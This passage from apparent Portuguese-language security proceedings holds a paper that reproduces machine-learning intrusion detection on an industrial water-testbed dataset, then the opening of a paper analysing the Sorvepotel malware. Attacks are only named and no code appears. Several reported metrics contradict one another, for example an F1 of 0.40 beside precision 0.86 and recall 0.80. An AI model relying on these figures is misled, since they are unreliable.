tudo, riscos tı́picos de TI envolvem fraude, vazamento de dados e perdas financeiras,
enquanto em TO um incidente pode afetar pessoas, meio ambiente e equipamentos, inter-
rompendo processos crı́ticos. Soma-se a isso o uso de protocolos industriais e aplicações
especı́ficas (SCADA, HMI, DCS), muitas vezes legados e pouco protegidos, o que amplia
a superfı́cie de ataque.

Entre as diversas soluções de proteção de um CPS, podemos citar os sistemas
de detecção e prevenção de intrusão (Intrusion Detection System e Intrusion Prevention
System, IDS/IPS), tanto para o monitoramento de redes (Network Intrusion Detection Sys-
tems, NIDS) que vasculham o tráfego em busca de padrões maliciosos, quanto baseado
em hosts (Host-based Intrusion Detection System, HIDS) que acompanham eventos do
sistema. Embora úteis também em TO, soluções voltadas para o ambiente de TI nem
sempre atendem aos requisitos industriais de tempo real, confiabilidade e segurança fun-
cional. Na prática, o cenário industrial vive a pressão de uma digitalização acelerada e
de ataques em alta, o que exige monitoramento especializado, consciência situacional e
integração com práticas de engenharia.

Entre os desafios recorrentes em TO/ICS estão a falta de visibilidade de ativos,
mudanças contı́nuas de processo, ambientes com múltiplos fabricantes e protocolos di-
versos, escassez de profissionais com dupla vivência (tanto em segurança quanto em
automação), sistemas legados desatualizados e a crescente interconectividade com outras
redes. Em paralelo, laboratórios e cyber ranges especı́ficos para ICS ainda são caros e
raros, o que leva a comunidade a usar datasets públicos para estudar técnicas de detecção,
já que muitas indústrias evitam divulgar dados operacionais por questões de confidencia-
lidade.

As principais causas das vulnerabilidades em sistemas ICS/SCADA normalmente
são provenientes de sistemas legados mal protegidos, atraso na aplicação de correções,
baixa consciência de segurança, acessos remotos para manutenção, instalações amplas
e distribuı́das, interconectividade crescente e do fato de muitos protocolos SCADA não
terem segurança nativa (autenticação e criptografia) embutida. Em conjunto, esses fatores
ampliam a superfı́cie de ataque e dificultam a proteção contı́nua do ambiente operacional.

Particularmente, pesquisas recentes estão endereçando tecnologias disruptivas
como aprendizado de máquina (Machine Learning, ML) e inteligência artificial (IA) para
IDS e IPS, as quais parecem ser efetivas no reconhecimento de ataques desconhecidos.
Nesse contexto, cresce o interesse por aprendizado de máquina aplicado a tráfego real de
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ICS/SCADA para detecção de anomalias. Abordagens baseadas em ML exploram carac-
terı́sticas de tráfego (portas, protocolos, flags, tamanhos, contagens temporais) e dados
do processo (códigos e valores Modbus). A contribuição deste trabalho segue essa linha:
usar um dataset público de ICS e avaliar modelos de ML com foco em detecção de ataques
de forma reprodutı́vel e comparável [Rana et al. 2018].

O presente estudo busca reproduzir os resultados de detecção de tráfego anômalo
a partir de um dataset correspondente a rede de dados de um ICS obtidos con-
forme [Faramondi et al. 2021], além de explorar e avaliar o desempenho de outros dois
algoritmos supervisionados para detecção do tráfego anômalo.

O restante do artigo está organizado assim: a Seção 2 descreve os trabalhos que
buscaram produzir um dataset para avaliação de IDS em um ambiente de ICS, a Seção 3
detalha o desenvolvimento do trabalho, a Seção 3 apresenta os resultados obtidos com a
aplicação dos algoritmos de aprendizado de máquina e a Seção 5 traz as conclusões.

2. Datasets Estudados

Durante a etapa de revisão de literatura, foram observados diversos data-
set para avaliação de IDS. Há bases amplamente conhecidas como por exem-
plo KDD99 [Özgür and Erdem 2016], NSL-KDD [Tavallaee et al. 2009], UNSW-
NB15 [Moustafa and Slay 2015] e CTU-13 [Garcı́a et al. 2014], porém focadas em
tráfego de redes de TI. Isso evidencia a necessidade de datasets em TO, onde hardware e
software monitoram e controlam processos fı́sicos [Hahn 2016].

Dessa forma, buscou-se investigar trabalhos que disponibilizam datasets para
avaliação de IDS aplicado a um ICS. O primeiro trabalho estudado foi o proposto
por [Morris and Gao 2014], que apresenta uma das primeiras tentativas de padronização
de datasets ICS, disponibilizando quatro coleções (gas pipeline e water tank, completos
e reduzidos), obtidas em ambiente de laboratório real. Os ataques incluı́ram reconnais-
sance, response injection, command injection e negação de serviço (Denial of Service,
DoS). Embora relevantes para a comunidade, esses datasets possuem protocolos simplifi-
cados e um número limitado de variáveis relacionadas às dinâmicas fı́sicas do processo,
tornando sua capacidade de representação parcial diante do cenário complexo de um am-
biente industrial moderno.

Outro dataset analisado foi o gerado por [Gaggero et al. 2024] que forneceram
um conjunto mais recente, composto por tráfego SCADA, registros de monitoramento
(Security Information and Event Management, SIEM) e múltiplas classes de ataque, como
C2C channels, força-bruta, ARP spoofing, FDI Modbus e DoS. Seu ambiente é simulado,
apresentando forte dependência de mecanismos sintéticos, e altamente complexo para a
segregação de tráfego normal do malicioso.

Por fim, diante das limitações observadas nos demais trabalhos, optou-se por utili-
zar o dataset apresentado por [Faramondi et al. 2021], que apresentaram uma abordagem
hı́brida baseada em Hardware-in-the-Loop (HIL), na qual uma planta industrial simulada
interage com componentes fı́sicos reais, permitindo a geração de tráfego de rede associado
ao comportamento dinâmico do processo fı́sico. Como resultado, os autores disponibili-
zaram dois datasets. O primeiro é de tráfego de rede (network), contendo comunicações
entre controladores, atuadores e sensores sob diferentes cenários de ataque, enquanto o
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segundo contém variáveis fı́sicas, representando a evolução temporal dos estados do pro-
cesso industrial.

No presente trabalho, optou-se pelo uso do dataset de rede por sua adequação ao
escopo de sistemas de detecção de intrusões baseados exclusivamente em comunicação,
inteiramente alinhado com o objetivo de avaliar técnicas de detecção de tráfego anômalo
no ICS. Além disso, o dataset apresenta tamanho manejável, permitindo a execução dos
experimentos sobre o conjunto completo sem a necessidade de amostragem, reduzindo
viés estatı́stico e possibilitando uma comparação mais fiel entre diferentes algoritmos de
aprendizado de máquina. Tais caracterı́sticas reforçam a adequação do dataset como base
experimental para os estudos conduzidos nesse trabalho.

3. Desenvolvimento

Esta seção descreve as etapas de desenvolvimento do estudo deste trabalho, abrangendo
desde a obtenção dos dados até a implementação e avaliação de desempenho dos algorit-
mos de detecção. Inicialmente, apresenta-se detalhadamente a plataforma utilizada para
geração do dataset, incluindo os ataques simulados. Em seguida, detalham-se os métodos
adotados para a construção do pipeline de detecção utilizando os algoritmos de apren-
dizado de máquina e, por fim, são apresentadas as métricas utilizadas e as estratégias
aplicadas para avaliar a eficácia dos modelos na identificação do tráfego anômalo.

3.1. Plataforma de simulação

3.1.1. Arquitetura fı́sica

O water distribution testbed (WDT) é constituı́do por dois subsistemas principais, um
real e outro simulado. O subsistema real contém cinco tanques (T1–T5), vinte válvulas
solenóides (V1–V20), quatro bombas (P1–P4) e cinco sensores de pressão (S1–S5), cada
um posicionado sob um tanque. Além disso, oito válvulas manuais adicionais permitem
simular vazamentos de água em tanques ou tubulações.

O subsistema simulado foi implementado com o uso do MiniCPS, uma ferramenta
de simulação de ICS, que permite representar com precisão o tráfego de rede e a interação
com a camada fı́sica. Essa parte simulada adiciona três tanques simulados (T6–T8), duas
bombas (P5 e P6) e quatro sensores de fluxo (F1–F4), ampliando a complexidade e rea-
lismo do sistema experimental. O ambiente de simulação opera em uma máquina Ubuntu
equipada com processador Intel Xeon E5-2620 v2 e 16 GB de RAM. Esses dois sub-
sistemas formam um WDT em um modelo de HIL, no qual o fluxo de água vai de um
subsistema real para o ambiente simulado e vice-versa.

3.1.2. Arquitetura de Rede

A arquitetura de rede do WDT foi concebida para refletir uma infraestrutura industrial
distribuı́da, baseada em comunicação TCP/IP entre os componentes de controle e os dis-
positivos de campo. O sistema é estruturado em três nı́veis hierárquicos:

1. Camada de Campo (Field Layer): composta por sensores, atuadores, bombas e
válvulas conectados a PLCs. Esses dispositivos comunicam-se por protocolos
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industriais (como Modbus/TCP), trocando dados de medição e comandos de con-
trole.

2. Camada de Controle (Control Layer): constituı́da por PLCs e servidores de con-
trole, responsáveis pelo processamento das leituras e pela execução das lógicas de
supervisão e automação.

3. Camada de Supervisão (Supervisory Layer): composta por uma interface SCADA,
que permite o monitoramento e o controle em tempo real do sistema fı́sico e simu-
lado. Essa camada concentra os fluxos de dados provenientes dos controladores,
servindo como ponto de observação privilegiado para a coleta de tráfego e análise
de ciberataques.

Todos os componentes são interconectados por uma rede Ethernet local, implementada
em topologia estrela, mediada por switches industriais e roteadores dedicados. Essa
configuração facilita a captura de pacotes e o monitoramento de comunicações legı́timas e
maliciosas. A rede foi configurada de modo a permitir tanto o tráfego normal de operação
quanto a injeção controlada de ataques cibernéticos simulados, o que inclui spoofing,
DoS, e manipulação de pacotes Modbus. Dessa forma, o WDT fornece um dataset ex-
perimental abrangente para investigar a correlação entre eventos cibernéticos e alterações
fı́sicas nos processos industriais.

3.2. Ataques Simulados

Foram conduzidos 28 cenários distintos de ataques contra o WDT, abrangendo categorias
como scanning, DoS, Man-in-the-Middle (MITM), ARP Spoofing, além de falhas fı́sicas
em bombas e válvulas, conforme apresentado na Figura 2.

Figura 2. Distribuição dos cenários de ataque.

Todos os ataques cibernéticos foram realizados tanto no subsistema real quanto
no simulado do WDT, utilizando uma máquina Kali Linux dedicada como elemento ad-
verso, conectada à arquitetura SCADA composta por quatro PLCs, dois sensores MOD-
BUS/TCP e um servidor SCADA. Essa abordagem hı́brida permitiu avaliar ataques si-

Segurança Cibernética na Prática

81



multâneos em diferentes porções da rede de TO, garantindo realismo ao ambiente de
teste.

Esses ataques foram distribuı́dos ao longo de três aquisições contendo ciclos dis-
tintos do processo fı́sico, de forma a garantir diversidade temporal e variação no estado
do sistema. Cada ataque foi aplicado em diferentes momentos do ciclo operacional, o
que influencia diretamente se o evento produz ou não efeitos observáveis tanto na planta
fı́sica quanto no tráfego de rede. Em termos cibernéticos, foram avaliados ataques que
representam ameaças tı́picas a redes de TO, como:

• MITM via ARP-Poisoning, manipulando valores MODBUS trocados entre PLCs,
podendo alterar leituras de sensores como Ss6, Sr5, ou Fs1;

• Scanning ativo (SYN, FIN, NULL e XMAS scan), empregado para mapeamento
da rede e identificação de dispositivos;

• Ataques DoS como ICMP flood, TCP flood e LAND attack, destinados a saturar
PLCs ou interromper comunicação com o SCADA;

• Spoofing de endereços, tanto em pacotes HMI→PLC quanto PLC→PLC, explo-
rando a falta de autenticação no protocolo MODBUS/TCP.

Os ataques fı́sicos incluı́ram abertura de válvulas manuais para simular vazamento de
água e quebra de bombas e válvulas, resultando em comportamentos anômalos nas cur-
vas de nı́vel dos tanques. Como esses ataques não afetam o tráfego de rede, foram des-
prezados neste trabalho. Com o objetivo de reduzir o tamanho dos dataset, os autores
de [Faramondi et al. 2021] geraram no total, quatro aquisições de dados, com duração
total de duas horas. A primeira hora, trata-se de tráfego de rede em condições normais,
enquanto os demais 60 minutos em condições de ataque. A Figura 3 apresenta o total de
amostras coletadas do dataset de tráfego de rede.

Figura 3. Número de amostras do dataset de rede.

Foram disponibilizados quatro arquivos, cada um com tamanho de aproximada-
mente 800 MB com os dados capturados do tráfego de rede, armazenados em quatro pla-
nilhas: normal.csv (contendo tráfego legı́timo), attack 1.csv, attack 2.csv
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e attack 3.csv (com tráfego contendo ataques executados em momentos diferentes
das aquisições).

Para o desenvolvimento deste trabalho, optou-se por unificar todos os arquivos
de tráfego em um único dataset consolidado, cujo quantitativo final é apresentado na
Figura 4, preservando integralmente as variáveis originais fornecidas pelos autores. Após
a unificação, foi realizada a rotulação de cada amostra, atribuindo-se rótulos binários para
diferenciar tráfego normal de tráfego malicioso, de acordo com o arquivo de origem. Essa
etapa simplificou o processo de análise.

Figura 4. Número de amostras do dataset de rede por classes.

3.3. Variáveis (Atributos)

O dataset do WDT é dividido em dois subconjuntos principais: um fı́sico, contendo
variáveis relacionadas ao processo hidráulico (como pressões, estados de válvulas e bom-
bas), e outro de rede, composto por atributos extraı́dos do tráfego MODBUS/TCP trocado
entre os controladores lógicos programáveis (PLCs) e o sistema supervisório SCADA. No
contexto do dataset de rede, foco deste trabalho, foram definidos 14 atributos principais,
descritos a seguir. Elas incluem informações sobre endereços, portas, protocolos e carac-
terı́sticas temporais do tráfego, sendo projetados para permitir a detecção de anomalias
tanto de natureza cibernética quanto operacional. Os atributos são os seguintes:

• Time: Momento da aquisição do pacote, utilizado para indexação temporal.
• Src IP address: Endereço IP de origem; endereços desconhecidos podem indicar

dispositivos não autorizados.
• Dst IP address: Endereço IP de destino; endereços anômalos podem apontar redi-

recionamentos maliciosos.
• Src MAC address: Endereço MAC de origem; variações inesperadas sugerem

inserção de novos dispositivos.
• Dst MAC address: Endereço MAC de destino; desconhecidos podem indicar hosts

maliciosos na rede.
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• Src Port: Porta de origem; em redes industriais, portas são fixas e definidas pelos
protocolos, sendo alterações indicativas de comportamento anômalo.

• Dst Port: Porta de destino; novas portas podem revelar uso indevido de protocolos.
• Proto: Protocolo de comunicação; o surgimento de novos protocolos não previstos

deve ser tratado como potencial modificação da rede.
• TCP Flags: Indicadores de estado de conexões TCP (CWR, ECN, URG, ACK,

PSH, RST, SYN, FIN); ataques de varredura (scanning) frequentemente alteram
esses valores.

• Payload size: Tamanho da carga útil do pacote; variações incomuns podem indicar
falhas, sobrecarga ou injeção maliciosa de dados.

• MODBUS code: Código de função MODBUS; define o tipo de requisição ao PLC.
Leituras ou escritas não usuais sugerem acesso não autorizado.

• MODBUS value: Valor de resposta MODBUS; alterações inesperadas podem re-
presentar manipulação indevida de comandos.

• num pkts src: Número de pacotes oriundos do mesmo endereço de origem nos
últimos dois segundos; um aumento súbito pode indicar ataques do tipo DoS ou
comportamentos anômalos.

• num pkts dst: Número de pacotes destinados ao mesmo endereço de destino nos
últimos dois segundos; permite detectar sobrecarga ou ataques concentrados em
um único alvo.

3.4. Algoritmos Supervisionados

Neste estudo, foram empregados seis modelos de aprendizado supervisio-
nado amplamente reconhecidos pela literatura de detecção de intrusões em
ICS [Pedregosa et al. 2011]: Random Forest (RF), K-Nearest Neighbors (KNN),
Logistic Regression (LR), Multi-Layer Perceptron (MLP), Gaussian Naı̈ve Bayes (GNB)
e Support Vector Machine (SVM) com kernel radial (RBF).

Os modelos KNN, RF, SVM e GNB foram selecionados com o propósito de re-
produzir os resultados apresentados em [Faramondi et al. 2021], assegurando uma base
comparativa direta entre os experimentos originais e o presente estudo. A implementação
adicional dos classificadores LR e MLP ampliou o escopo da investigação, permitindo
observar o comportamento de modelos com diferentes classificadores sobre o espaço de
decisão. Essa diversidade de algoritmos oferece uma visão mais completa sobre o desem-
penho de técnicas de aprendizado supervisionado aplicadas à detecção de intrusões em
ICS.

Assim, a combinação entre os modelos originais do artigo e as técnicas adicionais
aqui empregadas permite não apenas reproduzir e validar os resultados da literatura, mas
também avaliar o comportamento e a interoperabilidade dos classificadores no contexto
especı́fico de um IDS, aplicado ao tráfego MODBUS e TCP do WDT.

Para a avaliação de desempenho dos classificadores foi utilizado o procedimento
de validação cruzada (K-Fold Cross-Validation), garantindo a preservação da proporção
entre as classes de tráfego normal e de ataque em cada partição do dataset. As métricas
empregadas foram acurácia, precisão, recall e F1-Score, que foram calculadas na forma
ponderada (weighted), de modo que o impacto de cada classe nas avaliações refletisse
a sua proporção no dataset. Essa abordagem é importante em contextos de detecção de
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intrusões, onde normalmente há desequilı́brio entre classes (ou seja, um número signifi-
cativamente maior de instâncias normais em relação às de ataque).

4. Resultados e Discussão
Todo o trabalho foi implementado em Python, utilizando as bibliotecas Pandas, para
manipulação de dados, e Scikit-Learn, para implementação e validação dos algoritmos.
Foram utilizados os métodos MDI (Mean Decrease in Impurity) para estimar a im-
portância dos atributos e PCA (Principal Component Analysis) para reduzir dimensio-
nalidade, aumentando a eficácia e a estabilidade dos modelos.

Com o objetivo de contextualizar os resultados obtidos neste trabalho,
realizou-se uma análise comparativa com os resultados reportados no trabalho
de [Faramondi et al. 2021], no qual foram avaliados os algoritmos KNN, RF, SVM e GNB
aplicados exclusivamente ao tráfego de rede. Em ambos os estudos, a classe ataque foi
considerada como classe positiva e as métricas de acurácia, precisão, recall e F1-Score
foram utilizadas.

Conforme mostrado na Tabela 1, os resultados deste trabalho (“obtido”) apre-
sentam valores próximos aos reportados em [Faramondi et al. 2021] (“referência”), es-
pecialmente no que se refere às tendências globais das métricas, o que reforça a vali-
dade experimental do pipeline adotado. As diferenças observadas em algumas métricas
decorrem, principalmente, da ausência de detalhamento completo sobre etapas de pré-
processamento, estratégias de validação e configurações adicionais dos modelos, o que
exigiu a adoção de decisões metodológicas explı́citas neste trabalho. Tais variações são
esperadas e não comprometem a consistência dos resultados.

Tabela 1. Análise comparativa dos classficadores.

Algoritmo Fonte Acurácia Precisão Recall F1-Score

KNN Referência 0,77 0,68 0,44 0,53
Obtido 0,80 0,76 0,60 0,50

RF Referência 0,75 0,56 0,53 0,54
Obtido 0,80 0,61 0,53 0,57

SVM Referência 0,69 0,10 0,99 0,20
Obtido 0,72 0,00 0,82 0,00

GNB Referência 0,75 0,90 0,15 0,27
Obtido 0,72 0,87 0,28 0,22

Adicionalmente, na Tabela 2 são apresentados os resultados dos algoritmos avali-
ados utilizando métricas ponderadas de acurácia, precisão, recall e F1-Score, abordagem
que permite uma avaliação mais representativa em cenários com desbalanceamento en-
tre classes e que constitui um avanço em relação à avaliação não ponderada adotada no
estudo de [Faramondi et al. 2021].

O KNN apresentou o melhor desempenho geral, com acurácia média de 0,88 e
F1-Score ponderado de 0,40, demonstrando o equilı́brio mais favorável entre precisão
(0,86) e recall (0,80). Esse resultado sugere que o dataset possui padrões estruturados
localmente, o que favorece algoritmos baseados em vizinhança. O RF obteve desempe-
nho estável e competitivo, com acurácia de 0,82 e F1-score de 0,57, evidenciando boa
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Tabela 2. Desempenho ponderado dos algoritmos.

Acurácia Precisão Recall F1-Score
RF 0,82 0,81 0,53 0,57

KNN 0,88 0,86 0,8 0,4
LR 0,83 0,78 1,0 0,13

MLP 0,85 0,82 0,73 0,32
GNB 0,82 0,87 0,68 0,22
SVM 0,81 0,0 0,84 0,0

capacidade de generalização e robustez a ruı́dos. O MLP também apresentou resultados
satisfatórios, com acurácia de 0,85 e F1-Score de 0,32, embora com maior variabilidade,
comportamento esperado devido à inicialização aleatória dos pesos e à sensibilidade da
arquitetura a hiper-parâmetros.

Por outro lado, o RL e o GNB apresentaram desempenho inferior, com F1-Scores
de 0,13 e 0,22, respectivamente. Essa limitação decorre da dificuldade desses modelos
em capturar fronteiras de decisão não lineares, presentes no tráfego industrial analisado.
O SVM obteve acurácia comparável à do RF (0,81), porém registrou F1-Score nulo e pre-
cisão igual a zero, apesar de apresentar recall elevado (0,84). Esse comportamento indica
que o modelo convergiu para uma solução que privilegia uma única classe, possivelmente
em razão do desbalanceamento dos dados e da sensibilidade do SVM-RBF à escala dos
atributos e à configuração dos hiper-parâmetros.

No que se refere especificamente à detecção de ataques, o KNN novamente se
destacou, alcançando elevada precisão (0,86) e recall (0,80), demonstrando boa capaci-
dade de identificação de eventos maliciosos sem inflar excessivamente o número de falsos
positivos. O RF apresentou desempenho equilibrado entre precisão (0,81) e recall (0,53),
enquanto o RL apresentou alta precisão (0,78) associada a recall máximo (1,00), caracte-
rizando um comportamento excessivamente conservador, no qual o modelo tende a rotular
como ataque apenas amostras com forte evidência.

A análise dos atributos foi realizada a partir das importâncias fornecidas pelo RF
(Figura 5), dos coeficientes do RL (Figura 6) e das importâncias por permutação obtidas
para os modelos GNB, KNN e MLP (Figura 7). As figuras correspondentes ilustram
graficamente os resultados para os modelos nos quais foi possı́vel identificar diferenças
relevantes na contribuição dos atributos para o processo de classificação.

O RF apresentou o conjunto mais claro de variáveis relevantes, destacando mod-
bus value, dst port, src port, num pkts src e num pkts dst, atributos diretamente asso-
ciados ao comportamento funcional das comunicações MODBUS/TCP e ao padrão de
troca de pacotes na rede industrial. O RF reforça parcialmente esse padrão ao atribuir
maior peso às portas de origem e destino, embora apresente menor sensibilidade a mod-
bus value, o que é consistente com a natureza linear do modelo.

Entre os modelos avaliados por meio de importância por permutação, o MLP (Fi-
gura 7c) apresentou comportamento semelhante ao do RF, atribuindo maior impacto a
modbus value, num pkts dst e proto, indicando a relevância de atributos relacionados à
camada de aplicação e ao volume de tráfego. O KNN (Figura 7b), por sua vez, distribuiu a
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Figura 5. Importância dos atribu-
tos do RF. Figura 6. Coeficientes da LR.

importância de forma mais uniforme entre diversos atributos, comportamento compatı́vel
com sua dependência de medidas de distância no espaço de caracterı́sticas. Finalmente,
o GNB (Figura 7a) concentrou sua importância predominantemente em modbus code,
refletindo a forte influência desse atributo na modelagem probabilı́stica adotada.

Para alguns modelos avaliados, como o SVM, não foi possı́vel identificar um con-
junto de atributos com contribuição significativamente superior aos demais. Nesses casos,
a variação no desempenho do modelo frente à permutação individual dos atributos foi des-
prezı́vel, não permitindo a caracterização de atributos mais relevantes.

De forma geral, os resultados indicam que a detecção de intrusões em tráfego
MODBUS/TCP depende principalmente de atributos associados à camada de aplicação e
ao perfil de troca de pacotes, enquanto variáveis da camada de transporte, como proto e
tcp flags, tendem a exercer impacto limitado no processo de decisão para a maioria dos
modelos avaliados.

5. Conclusões
Os resultados apresentados confirmam a alta reprodutibilidade experimental do estudo
de [Faramondi et al. 2021], demonstrando que o processo desenvolvido é metodologica-
mente sólido e alinhado às melhores práticas em aprendizado supervisionado para siste-
mas de detecção de intrusões. O desempenho consistente dos classificadores, tanto neste
trabalho quanto no artigo original, reafirma que esses métodos são particularmente ade-
quados para capturar relações complexas e não lineares em tráfego de sistemas industriais,
onde a combinação de atributos contı́nuos e categóricos impõe desafios adicionais à mo-
delagem estatı́stica.

A ampliação da análise, com a inclusão dos algoritmos Logistic Regression e
Multi-Layer Perceptron, permitiu avaliar o comportamento de abordagens complemen-
tares, confirmando que modelos baseados em vizinhança e ensembles oferecem me-
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(a) GNB. (b) KNN.

(c) MLP.

Figura 7. Importância por permutação.
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lhor equilı́brio entre sensibilidade e especificidade no contexto estudado. Além disso, a
análise dos atributos destacou a relevância daqueles que estão diretamente relacionados às
operações MODBUS, apontando caminhos promissores para futuras etapas de otimização
de atributos e redução de dimensionalidade.

Como trabalhos futuros, sugere-se a investigação de abordagens hı́bridas que
combinem métodos supervisionados e não supervisionados, ampliando a capacidade de
detecção de ataques desconhecidos. Sugere-se também avaliar o impacto de diferentes
técnicas de pré-processamento e engenharia de atributos no desempenho dos modelos,
bem como explorar modelos baseados em grafos (GNNs), capazes de representar relações
entre dispositivos e fluxos MODBUS.

Por fim, destaca-se a importância de avaliar o desempenho dos modelos em
ambientes industriais reais, diante de um cenário amplo de ataques. Além disso, a
integração do IDS a plataformas de resposta automática, capazes de acionar mecanis-
mos de mitigação de forma coordenada, representa um passo decisivo para a construção
de arquiteturas de defesa mais resilientes e adaptativas no contexto de ICS.
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Abstract. This work presents a technical and exploratory analysis of the Sor-
vepotel Malware, focusing on its infection chain, execution techniques, and
evasion mechanisms. The study was conducted in a controlled environment using
specialized tools for static and dynamic analysis. The results reveal extensive
use of obfuscated PowerShell scripts, in-memory code execution, and reflective
DLL injection, indicating partially fileless behavior. Additionally, the Malware
integrates auxiliary modules such as the Maverick spyware and a WhatsApp
propagation worm. This analysis contributes to a better understanding of modern
Malware threats and highlights the importance of advanced detection approaches
based on behavioral and memory analysis.

Resumo. Este trabalho apresenta uma análise técnica e exploratória do Malware
Sorvepotel, com foco na identificação de sua cadeia de infecção, técnicas de
execução e mecanismos de evasão. A pesquisa foi conduzida em ambiente con-
trolado, utilizando ferramentas especializadas para análise estática e dinâmica.
Os resultados demonstram o uso intensivo de scripts PowerShell ofuscados,
execução de código em memória e técnicas de reflective DLL injection, caracte-
rizando um comportamento parcialmente fileless. Além disso, foi identificada a
integração com módulos adicionais, como o spyware Maverick e um worm de
propagação via WhatsApp. A análise contribui para o entendimento de ame-
aças modernas e reforça a necessidade de abordagens avançadas de detecção
baseadas em comportamento e análise de memória.

1. Introdução

É notório que o desenvolvimento de novas tecnologias é um processo disruptivo, complexo
e acelerado que beneficia a sociedade como um todo, tal como a engenharia de software,
que produz novas soluções e ferramentas; o desenvolvimento de Inteligência Artificial e
suas automações; além de outros campos de estudo e tecnologias. No entanto, tal avanço
tecnológico vem sendo, paralelamente, acompanhado por desafios significativos na área de
segurança da informação, assim como o crescimento de ataques cibernéticos, em especial
os malwares.

Segundo [Reddy and Utthara 2012], o crescimento expressivo do uso de novas
plataformas digitais, tal como novos dispositivos móveis, o avanço de serviços em nuvem
e a ampla adoção das redes sociais, criou-se um ambiente propício para cibercrimes. Esse
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contexto demonstra o crescimento expressivo de ataques cibernéticos ao longo dos anos,
pois neste momento, o cibercrime está mais organizado, sofisticado e espalhado do que
nunca, implicando em um risco econômico crescente [Reddy and Utthara 2012].

Esse cenário demostra a importância de se compreender as ameaças ciber-
néticas emergentes e desenvolver estratégias eficazes para mitigá-las. Segundo
[Anderson et al. 2019], o crime organizado vem migrando para o ambiente online,
aproveitando-se das vulnerabilidades inerentes às novas tecnologias e da dificuldade em
rastrear atividades criminosas na internet. Além disso, os autores afirmam que boa parte de
todo o crime patrimonial ("property crime"), agora acontece online. Ademais, em um dos
relatórios técnicos realizados pela CSIS/McAfee [Lewis et al. 2014], foi estimado que o
custo sistemico anual para a economia global devido ao cibercrime é de aproximadamente
US$ 445 bilhões.

Contextualizando mais este problema, é importante destacar o crescimento
e a formulação de um novo tipo de ecossistema, conhecido como Malware-as-a-
Service (MaaS). Esse problema é abordado no livro The Malware as a Service ecosys-
tem [Patsakis et al. 2024]. Segundo os autores, malwares vêm se tornando uma espécie
de serviço, deixando para trás o processo "artesanal"ou "pouco estruturado"no desen-
volvimento de ferramentas maliciosas, tornando-se cada vez mais difícil o combate a
estas "pragas virtuais", devido à adoção de novas técnicas e sofisticação das mesmas; em
especial pelo surgimento de IA generativa que acelerou parte do processo, e tal como
o quão lucrativo este mercado é atualmente. Isso não é para menos, segundo o artigo
Economic Factors of Vulnerability Trade and Exploitation [Allodi 2017], o mercado negro
de vulnerabilidades possui toda uma estrutura de precificação de vulnerabilidades e exploits
que, muita das vezes possui valores superiores a programas de bug bounty e influenciam
diretamente no número de vezes e na probabilidade de que essas vulnerabilidades e exploits
sejam usadas em ataques à infraestruturas reais. Além disso, o autor reforça a ideia de que
abordagens e estratégias de mitigação de riscos devem levar em conta as tendências que o
mercado negro estabelece para se precaver a novos tipos de ataques.

Neste contexto, percebe-se que Malwares são um dos problemas centrais da se-
gurança cibernética, representando uma ameaça constante para indivíduos, empresas e
governos. Entre os diversos tipos de malwares, os "malwares fileless"têm ganhado destaque
devido à sua capacidade de operar sem deixar rastros tradicionais em disco, utilizando-se
de recursos legítimos do sistema operacional para executar suas atividades maliciosas
diretamente na memória.

Este não é um problema recente, sendo definido e abordado pela primeira
vez pela Kaspersky em um dos seus artigos ao analisar e desenvolver contramedidas
para o Malware Code Red [Kaspersky Lab 2001]. Segundo o relatório técnico da
[Kaspersky Lab 2001] (tradução livre), na época, a "industria não estava preparada para
lidar com os ataques em massa da nova geração de "fileless"Internet-worm, Code Red";
essa nova geração de malwares utlizavam-se de ferramentas do sistema operacional para
burlar anti-virus e firewalls que até então eram deficientes para lidar com esse tipo de
problema, surgindo assim essa nova categoria de malwares.

Desde então, novas técnicas foram utilizadas para detectar essa família de malwa-
res, como finger print, machine learning e afins. No entanto, tais malwares evoluíram
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igualmente, com diferentes abordagens e características. Hoje, tais malwares utilizam-se
principalmente de técnicas de engenharia social, além de ferramentas como PowerShell,
WMI, macros em documentos, links ocultos, entre outras, para executar suas atividades
maliciosas sem deixar rastros e dificultar sua detecção por antivírus. Dessa forma, diversos
autores têm se dedicado ao estudo e definição dos malwares fileless, assim como os méto-
dos para sua detecção. Conjectura-se que malwares fileless representam uma evolução
significativa na forma como os ataques cibernéticos são realizados, tornando-se uma das
abordagens preferidas para muitos criminosos durante o desenvolvimento de malwares
complexos e sofisticados, inclusive no Brasil.

Relatos recentes indicam uma crescente de ataques de malwares no Brasil
[Ministério Público do Estado de Mato Grosso (MPMT) 2024]. Com base em relatórios
técnicos, o Brasil tem se destacado como um dos países mais afetados por ataques ci-
bernéticos, segundo a Acronis, o primeiro semestre de 2024 foi marcado por um "au-
mento expressivo na ameaça de Malware". Neste mesmo relatório, o país ficou em
segundo lugar entre os mais visados por malwares, ficando atrás apenas dos Estados Uni-
dos [Acronis International GmbH 2024a]. Além disso, no decorrer de 2024, no segundo
semestre, esses valores se mantiveram elevados, demonstrando a posição de destaque do
Brasil como um dos mais afetados [Acronis International GmbH 2024b]. Nesta mesma
conjectura, a Kaspersky realizou um estudo, revelando que ataques de ransomware cresce-
ram 69% no mesmo período no Brasil[Kaspersky Lab 2025a], demonstrando um cenário
de crescimento acelerado e alarmante dessas ameaças [Ferreira 2023].

Nesse contexto, [Rodrigues and outros 2025] realizaram um estudo estatístico so-
bre incidentes cibernéticos no Brasil entre 2019 e 2024, reportados à Autoridade Nacional
de Proteção de Dados (ANPD). Esse estudo baseou-se em diferentes setores, tanto pri-
vado quanto agências governamentais. Os dados demonstraram que, ataques de malwa-
res(ransomware) estavam entre as maiores taxas de ocorrência, concentrando-se prin-
cipalmente em regiões de relevância econômica e política, como São Paulo e Distrito
Federal. Os autores concluíram também que o cenário de ameaças cibernéticas no Brasil é
persistente, mesmo com as políticas de prevenção atual, demonstrando uma necessidade
de fortalecimento da capacidade de defesa cibernética tanto para entidades públicas quanto
para o mercado em geral.

Nessa conjuntura, diversos grupos de cibercriminosos têm direcionado seus ata-
ques para setores públicos como incicado por [Ferreira 2023]. Além disso, a Kaspersky
[Kaspersky Lab 2025a] relatou que infraestruturas críticas, como saúde e finanças, tam-
bém são afetados, visando causar interrupções significativas e obter resgates financeiros
substanciais. No entanto, muita das vezes, esses ataques são ameaças diferentes, como
infostealers, keyloggers, Malware bancário e campanhas de phishing, visando tirar proveito
de usuários finais ou coletar informações privilegiadas para novos tipos de ataques.

Nessa perspectiva, em outubro de 2025, profissionais da área de segurança da
informação relataram, em redes sociais, uma possível campanha de Malware, previamente
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intitulado de Sorvepotel, que especula-se visar profissionais de diferentes setores 1 2. Ainda
que tais relatos não constituam documentação oficial do incidente, sugerem uma possível
atividade por um grupo de cibercriminosos.

